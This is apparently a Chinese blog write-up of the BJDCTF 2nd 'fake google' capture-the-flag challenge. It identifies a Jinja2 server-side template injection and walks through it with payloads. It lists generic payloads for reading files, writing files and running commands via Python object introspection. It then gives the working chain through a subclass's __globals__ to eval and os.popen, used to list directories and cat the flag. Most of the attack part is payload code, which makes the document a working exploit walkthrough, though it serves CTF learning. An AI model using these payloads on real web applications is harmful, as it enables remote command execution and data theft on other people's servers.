[BJDCTF 2nd]fake google

在这里插入图片描述

{7*7}

在这里插入图片描述

{{7*7}}

在这里插入图片描述

{{7*'7'}}

在这里插入图片描述
回显是七个七,那么应该是 jinja2模板
参考:

__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类

__bases__ 用来查看类的基类,也可是使用数组索引来查看特定位置的值

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

一些python内置的模块里面存在一些可以执行的函数
例如 os模块中就有eval,system,popen之类的用于执行的函数
而我们的最终目的就是要调用这类模块然后调用函数

一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

这道题的思路应该是就找到可用模块,然后用调用eval函数来执行python代码

{{''.__class__.__bases__[0].__subclasses__()

在这里插入图片描述
可用模块__builtins__常常藏在这个warnings.catch_warnings模块中
我们可以用索引来测试一下这个模块的位置

{{''.__class__.__bases__[0].__subclasses__()[:170]}}

在这里插入图片描述

在第169位

{{''.__class__.__bases__[0].__subclasses__()[169]}}

在这里插入图片描述

{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls ../../../..').read()")}}

在这里插入图片描述

{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat ../../../../flag').read()")}}

在这里插入图片描述


版权声明:本文为missht0原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。